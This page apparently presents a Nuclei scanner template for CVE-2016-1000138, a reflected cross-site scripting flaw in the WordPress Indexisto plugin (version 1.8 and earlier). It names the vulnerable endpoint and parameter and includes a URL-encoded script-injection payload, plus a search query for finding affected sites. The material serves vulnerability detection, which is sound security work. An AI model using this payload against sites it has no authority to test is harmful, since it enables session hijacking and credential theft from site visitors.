WordPress Admin Font Editor <=1.8 - Cross-Site Scripting

ID: CVE-2016-1000138

Severity: medium

Author: daffainfo

Tags: cve,cve2016,wordpress,xss,wp-plugin,indexisto_project

Description

WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2016-1000138

info:
  name: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Admin Font Editor plugin (1.8 or higher) to fix this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=38
    - https://wordpress.org/plugins/indexisto
    - http://web.archive.org/web/20210622181116/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000138
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000138
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.46028
    cpe: cpe:2.3:a:indexisto_project:indexisto:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "indexisto_project"
    product: indexisto
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/indexisto\""
  tags: cve,cve2016,wordpress,xss,wp-plugin,indexisto_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/indexisto/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '= Indexisto'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e5b9050c8a749c25344c798823de2efe752875275f1ef1e9290884c3ad068fe7022100902851d988b13c71159d2ab2b234fec0dcfa516be4bc7e5557881b503731c643:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000138.yaml"

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